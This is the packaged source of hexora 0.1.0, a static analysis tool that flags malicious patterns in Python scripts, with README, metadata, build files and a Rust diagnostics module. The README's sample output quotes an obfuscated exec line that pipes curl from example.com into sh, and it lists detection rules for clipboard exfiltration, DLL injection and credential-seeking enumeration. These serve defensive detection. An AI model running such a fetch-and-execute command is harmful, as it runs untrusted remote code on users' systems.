hexora 0.1.0__tar.gz

hexora-0.1.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2025 Artem Golubin
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

hexora-0.1.0/MANIFEST.in

@@ -0,0 +1,3 @@
+include *.md
+global-include py.typed
+recursive-include src *.rs

hexora-0.1.0/PKG-INFO

@@ -0,0 +1,163 @@
+Metadata-Version: 2.4
+Name: hexora
+Version: 0.1.0
+Summary: Static analysis of malicous Python scripts.
+Author-email: Artem Golubin <me@rushter.com>
+License-Expression: MIT
+Requires-Python: >=3.9
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: license-file
+
+# hexora
+
+Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.
+
+It can be used to:
+
+* Audit of project dependencies to find possible supply chain attacks.
+* Detect malicious scripts found on various platforms (e.g. pastebin, GitHub, open directories).
+* Analysis of IoC files from past security incidents.
+* Audit new packages uploaded to PyPi.
+
+<img width="600" alt="Hexora example" src="docs/example.gif">
+
+
+# Examples
+
+For output examples, please see [docs/examples.md](docs/examples.md) file.
+
+# Installation
+
+## Using Python
+
+Requires Python 3.9+.
+
+```bash
+pip install hexora
+```
+
+Using uv:
+```bash
+uv tool install hexora
+```
+
+# Usage
+
+
+```bash
+hexora --help
+```
+
+## Audit single file
+
+```bash 
+>  hexora audit test.py
+
+warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
+  ┌─ resources/test/test.py:3:8
+  │
+1 │ import pyperclip
+2 │
+3 │ data = pyperclip.paste()
+  │        ^^^^^^^^^^^^^^^^^ HX2000
+  │
+  = Confidence: High
+    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
+    
+warning[HX3000]: Possible execution of unwanted code
+   ┌─ resources/test/test.py:20:1
+   │
+19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
+20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
+   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
+   │
+```
+
+
+## Audit directory
+
+```bash
+hexora audit --output-format terminal resources/test/
+```
+
+
+## Audit packages from virtual environment
+
+```bash
+hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/ 
+```
+Where `python3.11` is the version of the Python in virtual environment.
+
+
+
+## Usage in Python
+
+```python
+>>> import hexora
+>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
+>>> len(results)
+15
+>>> results[0]
+{'items': [{'confidence': 'low',
+            'description': 'pyperclip can be used to copy and paste data from '
+                           'the clipboard.',
+            'label': 'pyperclip',
+            'location': (7, 16),
+            'rule': 'HX5010'},
+           {'confidence': 'high',
+            'description': 'Reading from the clipboard can be used to '
+                           'exfiltrate sensitive data.',
+            'label': 'pyperclip.paste',
+            'location': (25, 42),
+            'rule': 'HX2000'}],
+ 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
+>>> # Single file audit
+>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
+>>> ...
+ ```
+
+## Available rules
+
+New rules are added regularly.
+
+Right now, the following rules are available:
+| Code | Name | Description |
+|---|---|---|
+| HX1000 | AppEnumeration | Suspicious application enumeration. |
+| HX1010 | BrowserEnumeration | Suspicious browser enumeration (apps, cookies, history, etc.). |
+| HX1020 | PathEnumeration | Suspicious path enumeration. |
+| HX2000 | ClipboardRead | Reading from the clipboard. |
+| HX2010 | EnvAccess | Access to a sensitive environment variable. |
+| HX3000 | CodeExec | Possible code execution. |
+| HX3010 | ShellExec | Execution of a shell command. |
+| HX3020 | DunderShellExec | Execution of a shell command via `__import__`. |
+| HX3030 | DunderCodeExec | Execution of code via `__import__`. |
+| HX3040 | DLLInjection | Possible DLL injection. |
+| HX4000 | ObfuscateShellExec | Execution of an obfuscated shell command. |
+| HX4010 | ObfuscatedCodeExec | Execution of obfuscated code. |
+| HX4020 | ObfuscatedDunderShellExec | Execution of an obfuscated shell command via `__import__`. |
+| HX4030 | ObfuscatedDunderCodeExec | Execution of obfuscated code via `__import__`. |
+| HX5000 | DunderImport | Suspicious use of `__import__`. |
+| HX5010 | SuspiciousImport | Suspicious import. |
+| HX5020 | CtypesImport | Suspicious ctypes import. |
+| HX5030 | PickleImport | Suspicious pickle import. |
+| HX5040 | StructImport | Suspicious struct import. |
+| HX5050 | SocketImport | Suspicious socket import. |
+| HX5060 | MarshalImport | Suspicious marshal import. |
+| HX6000 | Base64String | Long Base64-encoded string detected; possible code obfuscation. |
+| HX6010 | HexedLiterals | List of hex-encoded literals detected; possible payload. |
+| HX6020 | HexedString | Long hex-encoded string detected; possible payload. |
+| HX6030 | IntLiterals | Large list of integer literals detected; possible code obfuscation. |
+| HX6040 | CVEInLiteral | Literal contains a CVE identifier. |
+| HX6050 | SuspiciousLiteral | Suspicious literal detected; possible data enumeration. |
+| HX6060 | PathTraversal | Suspicious path traversal. |
+| HX7000 | SuspiciousFunctionName | Suspicious function name. |
+| HX7010 | SuspiciousParameterName | Suspicious parameter name. |
+| HX7020 | SuspiciousVariable | Suspicious variable name. |
+| HX8000 | BinaryDownload | Suspicious binary download. |
+
+
+## Credits
+
+For parsing, we use AST parser from [ruff](https://github.com/astral-sh/ruff/tree/main) library.

hexora-0.1.0/README.md

@@ -0,0 +1,152 @@
+# hexora
+
+Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.
+
+It can be used to:
+
+* Audit of project dependencies to find possible supply chain attacks.
+* Detect malicious scripts found on various platforms (e.g. pastebin, GitHub, open directories).
+* Analysis of IoC files from past security incidents.
+* Audit new packages uploaded to PyPi.
+
+<img width="600" alt="Hexora example" src="docs/example.gif">
+
+
+# Examples
+
+For output examples, please see [docs/examples.md](docs/examples.md) file.
+
+# Installation
+
+## Using Python
+
+Requires Python 3.9+.
+
+```bash
+pip install hexora
+```
+
+Using uv:
+```bash
+uv tool install hexora
+```
+
+# Usage
+
+
+```bash
+hexora --help
+```
+
+## Audit single file
+
+```bash 
+>  hexora audit test.py
+
+warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
+  ┌─ resources/test/test.py:3:8
+  │
+1 │ import pyperclip
+2 │
+3 │ data = pyperclip.paste()
+  │        ^^^^^^^^^^^^^^^^^ HX2000
+  │
+  = Confidence: High
+    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
+    
+warning[HX3000]: Possible execution of unwanted code
+   ┌─ resources/test/test.py:20:1
+   │
+19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
+20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
+   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
+   │
+```
+
+
+## Audit directory
+
+```bash
+hexora audit --output-format terminal resources/test/
+```
+
+
+## Audit packages from virtual environment
+
+```bash
+hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/ 
+```
+Where `python3.11` is the version of the Python in virtual environment.
+
+
+
+## Usage in Python
+
+```python
+>>> import hexora
+>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
+>>> len(results)
+15
+>>> results[0]
+{'items': [{'confidence': 'low',
+            'description': 'pyperclip can be used to copy and paste data from '
+                           'the clipboard.',
+            'label': 'pyperclip',
+            'location': (7, 16),
+            'rule': 'HX5010'},
+           {'confidence': 'high',
+            'description': 'Reading from the clipboard can be used to '
+                           'exfiltrate sensitive data.',
+            'label': 'pyperclip.paste',
+            'location': (25, 42),
+            'rule': 'HX2000'}],
+ 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
+>>> # Single file audit
+>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
+>>> ...
+ ```
+
+## Available rules
+
+New rules are added regularly.
+
+Right now, the following rules are available:
+| Code | Name | Description |
+|---|---|---|
+| HX1000 | AppEnumeration | Suspicious application enumeration. |
+| HX1010 | BrowserEnumeration | Suspicious browser enumeration (apps, cookies, history, etc.). |
+| HX1020 | PathEnumeration | Suspicious path enumeration. |
+| HX2000 | ClipboardRead | Reading from the clipboard. |
+| HX2010 | EnvAccess | Access to a sensitive environment variable. |
+| HX3000 | CodeExec | Possible code execution. |
+| HX3010 | ShellExec | Execution of a shell command. |
+| HX3020 | DunderShellExec | Execution of a shell command via `__import__`. |
+| HX3030 | DunderCodeExec | Execution of code via `__import__`. |
+| HX3040 | DLLInjection | Possible DLL injection. |
+| HX4000 | ObfuscateShellExec | Execution of an obfuscated shell command. |
+| HX4010 | ObfuscatedCodeExec | Execution of obfuscated code. |
+| HX4020 | ObfuscatedDunderShellExec | Execution of an obfuscated shell command via `__import__`. |
+| HX4030 | ObfuscatedDunderCodeExec | Execution of obfuscated code via `__import__`. |
+| HX5000 | DunderImport | Suspicious use of `__import__`. |
+| HX5010 | SuspiciousImport | Suspicious import. |
+| HX5020 | CtypesImport | Suspicious ctypes import. |
+| HX5030 | PickleImport | Suspicious pickle import. |
+| HX5040 | StructImport | Suspicious struct import. |
+| HX5050 | SocketImport | Suspicious socket import. |
+| HX5060 | MarshalImport | Suspicious marshal import. |
+| HX6000 | Base64String | Long Base64-encoded string detected; possible code obfuscation. |
+| HX6010 | HexedLiterals | List of hex-encoded literals detected; possible payload. |
+| HX6020 | HexedString | Long hex-encoded string detected; possible payload. |
+| HX6030 | IntLiterals | Large list of integer literals detected; possible code obfuscation. |
+| HX6040 | CVEInLiteral | Literal contains a CVE identifier. |
+| HX6050 | SuspiciousLiteral | Suspicious literal detected; possible data enumeration. |
+| HX6060 | PathTraversal | Suspicious path traversal. |
+| HX7000 | SuspiciousFunctionName | Suspicious function name. |
+| HX7010 | SuspiciousParameterName | Suspicious parameter name. |
+| HX7020 | SuspiciousVariable | Suspicious variable name. |
+| HX8000 | BinaryDownload | Suspicious binary download. |
+
+
+## Credits
+
+For parsing, we use AST parser from [ruff](https://github.com/astral-sh/ruff/tree/main) library.

hexora-0.1.0/hexora/__init__.py

@@ -0,0 +1,4 @@
+# hexora: Static analysis of malicous Python scripts.
+# Copyright (c) 2025, Artem Golubin
+
+from ._hexora import audit_path, audit_file

hexora-0.1.0/hexora.egg-info/PKG-INFO

@@ -0,0 +1,163 @@
+Metadata-Version: 2.4
+Name: hexora
+Version: 0.1.0
+Summary: Static analysis of malicous Python scripts.
+Author-email: Artem Golubin <me@rushter.com>
+License-Expression: MIT
+Requires-Python: >=3.9
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: license-file
+
+# hexora
+
+Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.
+
+It can be used to:
+
+* Audit of project dependencies to find possible supply chain attacks.
+* Detect malicious scripts found on various platforms (e.g. pastebin, GitHub, open directories).
+* Analysis of IoC files from past security incidents.
+* Audit new packages uploaded to PyPi.
+
+<img width="600" alt="Hexora example" src="docs/example.gif">
+
+
+# Examples
+
+For output examples, please see [docs/examples.md](docs/examples.md) file.
+
+# Installation
+
+## Using Python
+
+Requires Python 3.9+.
+
+```bash
+pip install hexora
+```
+
+Using uv:
+```bash
+uv tool install hexora
+```
+
+# Usage
+
+
+```bash
+hexora --help
+```
+
+## Audit single file
+
+```bash 
+>  hexora audit test.py
+
+warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
+  ┌─ resources/test/test.py:3:8
+  │
+1 │ import pyperclip
+2 │
+3 │ data = pyperclip.paste()
+  │        ^^^^^^^^^^^^^^^^^ HX2000
+  │
+  = Confidence: High
+    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
+    
+warning[HX3000]: Possible execution of unwanted code
+   ┌─ resources/test/test.py:20:1
+   │
+19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
+20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
+   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
+   │
+```
+
+
+## Audit directory
+
+```bash
+hexora audit --output-format terminal resources/test/
+```
+
+
+## Audit packages from virtual environment
+
+```bash
+hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/ 
+```
+Where `python3.11` is the version of the Python in virtual environment.
+
+
+
+## Usage in Python
+
+```python
+>>> import hexora
+>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
+>>> len(results)
+15
+>>> results[0]
+{'items': [{'confidence': 'low',
+            'description': 'pyperclip can be used to copy and paste data from '
+                           'the clipboard.',
+            'label': 'pyperclip',
+            'location': (7, 16),
+            'rule': 'HX5010'},
+           {'confidence': 'high',
+            'description': 'Reading from the clipboard can be used to '
+                           'exfiltrate sensitive data.',
+            'label': 'pyperclip.paste',
+            'location': (25, 42),
+            'rule': 'HX2000'}],
+ 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
+>>> # Single file audit
+>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
+>>> ...
+ ```
+
+## Available rules
+
+New rules are added regularly.
+
+Right now, the following rules are available:
+| Code | Name | Description |
+|---|---|---|
+| HX1000 | AppEnumeration | Suspicious application enumeration. |
+| HX1010 | BrowserEnumeration | Suspicious browser enumeration (apps, cookies, history, etc.). |
+| HX1020 | PathEnumeration | Suspicious path enumeration. |
+| HX2000 | ClipboardRead | Reading from the clipboard. |
+| HX2010 | EnvAccess | Access to a sensitive environment variable. |
+| HX3000 | CodeExec | Possible code execution. |
+| HX3010 | ShellExec | Execution of a shell command. |
+| HX3020 | DunderShellExec | Execution of a shell command via `__import__`. |
+| HX3030 | DunderCodeExec | Execution of code via `__import__`. |
+| HX3040 | DLLInjection | Possible DLL injection. |
+| HX4000 | ObfuscateShellExec | Execution of an obfuscated shell command. |
+| HX4010 | ObfuscatedCodeExec | Execution of obfuscated code. |
+| HX4020 | ObfuscatedDunderShellExec | Execution of an obfuscated shell command via `__import__`. |
+| HX4030 | ObfuscatedDunderCodeExec | Execution of obfuscated code via `__import__`. |
+| HX5000 | DunderImport | Suspicious use of `__import__`. |
+| HX5010 | SuspiciousImport | Suspicious import. |
+| HX5020 | CtypesImport | Suspicious ctypes import. |
+| HX5030 | PickleImport | Suspicious pickle import. |
+| HX5040 | StructImport | Suspicious struct import. |
+| HX5050 | SocketImport | Suspicious socket import. |
+| HX5060 | MarshalImport | Suspicious marshal import. |
+| HX6000 | Base64String | Long Base64-encoded string detected; possible code obfuscation. |
+| HX6010 | HexedLiterals | List of hex-encoded literals detected; possible payload. |
+| HX6020 | HexedString | Long hex-encoded string detected; possible payload. |
+| HX6030 | IntLiterals | Large list of integer literals detected; possible code obfuscation. |
+| HX6040 | CVEInLiteral | Literal contains a CVE identifier. |
+| HX6050 | SuspiciousLiteral | Suspicious literal detected; possible data enumeration. |
+| HX6060 | PathTraversal | Suspicious path traversal. |
+| HX7000 | SuspiciousFunctionName | Suspicious function name. |
+| HX7010 | SuspiciousParameterName | Suspicious parameter name. |
+| HX7020 | SuspiciousVariable | Suspicious variable name. |
+| HX8000 | BinaryDownload | Suspicious binary download. |
+
+
+## Credits
+
+For parsing, we use AST parser from [ruff](https://github.com/astral-sh/ruff/tree/main) library.

hexora-0.1.0/hexora.egg-info/SOURCES.txt

@@ -0,0 +1,38 @@
+LICENSE
+MANIFEST.in
+README.md
+pyproject.toml
+setup.py
+hexora/__init__.py
+hexora/py.typed
+hexora.egg-info/PKG-INFO
+hexora.egg-info/SOURCES.txt
+hexora.egg-info/dependency_links.txt
+hexora.egg-info/entry_points.txt
+hexora.egg-info/not-zip-safe
+hexora.egg-info/top_level.txt
+src/cli.rs
+src/io.rs
+src/lib.rs
+src/main.rs
+src/py.rs
+src/audit/annotate.rs
+src/audit/helpers.rs
+src/audit/mod.rs
+src/audit/parse.rs
+src/audit/resolver.rs
+src/audit/result.rs
+src/rules/clipboard.rs
+src/rules/dll_injection.rs
+src/rules/download.rs
+src/rules/dunder.rs
+src/rules/env.rs
+src/rules/exec.rs
+src/rules/expression.rs
+src/rules/helpers.rs
+src/rules/identifier.rs
+src/rules/imports.rs
+src/rules/literal.rs
+src/rules/mod.rs
+src/rules/statement.rs
+src/rules/test.rs

hexora-0.1.0/hexora.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

hexora-0.1.0/hexora.egg-info/entry_points.txt

@@ -0,0 +1,2 @@
+[console_scripts]
+hexora = hexora._hexora:run_cli

hexora-0.1.0/hexora.egg-info/not-zip-safe

@@ -0,0 +1 @@
+

hexora-0.1.0/hexora.egg-info/top_level.txt

@@ -0,0 +1 @@
+hexora

hexora-0.1.0/pyproject.toml

@@ -0,0 +1,44 @@
+[project]
+name = 'hexora'
+version = '0.1.0'
+description = 'Static analysis of malicous Python scripts.'
+readme = 'README.md'
+requires-python = '>=3.9'
+license = 'MIT'
+authors = [
+    { name = 'Artem Golubin', email = 'me@rushter.com' }
+]
+
+[project.scripts]
+hexora = 'hexora._hexora:run_cli'
+
+[build-system]
+build-backend = "setuptools.build_meta"
+requires = ["setuptools>=62.4", "wheel", "setuptools-rust>=1.5.2"]
+
+
+
+[tool.cibuildwheel]
+build-frontend = "build"
+build-verbosity = 1
+
+macos.before-all = "rustup target add aarch64-apple-darwin x86_64-apple-darwin"
+macos.environment = { MACOSX_DEPLOYMENT_TARGET = "10.12" }
+
+skip = [
+    "*-manylinux_i686",
+    "*-musllinux_i686",
+    "*-win32",
+    "*-musllinux_aarch64",
+    "pp*"
+]
+macos.archs = ["x86_64", "arm64"]
+test-skip = "*-macosx_arm64"
+
+[tool.cibuildwheel.linux]
+before-all = "yum install -y openssl openssl-devel pkgconfig libatomic && curl -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal"
+environment = { PATH = "$PATH:$HOME/.cargo/bin" }
+
+[[tool.cibuildwheel.overrides]]
+select = "*-musllinux*"
+before-all = "apk --update  add openssl openssl-dev pkgconfig libatomic && curl -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal"

hexora-0.1.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

hexora-0.1.0/setup.py

@@ -0,0 +1,18 @@
+from setuptools import setup
+from setuptools_rust import Binding, RustExtension
+
+setup(
+    name="hexora",
+    rust_extensions=[
+        RustExtension(
+            "hexora._hexora",
+            binding=Binding.PyO3,
+            debug=False,
+            features=["python"],
+        )
+    ],
+    packages=["hexora", ],
+    zip_safe=False,
+    package_dir={"hexora": "hexora"},
+    package_data={"hexora": ["py.typed"]},
+)

hexora-0.1.0/src/audit/annotate.rs

@@ -0,0 +1,48 @@
+use crate::audit::result::AuditItem;
+use codespan_reporting::diagnostic::{Diagnostic, Label};
+use codespan_reporting::files::SimpleFile;
+use codespan_reporting::term;
+use codespan_reporting::term::termcolor::Buffer;
+use std::path::Path;
+
+pub fn annotate_result(
+    item: &AuditItem,
+    path: &Path,
+    source_code: &str,
+    colored: bool,
+) -> Result<String, String> {
+    let mut buffer = if colored {
+        Buffer::ansi()
+    } else {
+        Buffer::no_color()
+    };
+    if let Some(location) = item.location {
+        let file_path = path.display();
+        let file = SimpleFile::new(&file_path, &source_code);
+        let diagnostic = Diagnostic::warning()
+            .with_message(&item.description)
+            .with_code(item.rule.code())
+            .with_labels(vec![
+                Label::primary((), location.start().to_usize()..location.end().to_usize())
+                    .with_message(item.rule.code()),
+            ])
+            .with_note({
+                let mut note = String::new();
+                note.push_str(format!("Confidence: {:?}\n", &item.confidence).as_str());
+                if let Some(help_msg) = item.rule.help() {
+                    note.push_str(format!("Help: {}", help_msg).as_str());
+                }
+                note
+            });
+
+        let config = term::Config {
+            before_label_lines: 3,
+            after_label_lines: 3,
+            ..Default::default()
+        };
+        if let Err(e) = term::emit(&mut buffer, &config, &file, &diagnostic) {
+            return Err(e.to_string());
+        }
+    }
+    Ok(String::from_utf8_lossy(buffer.as_slice()).to_string())
+}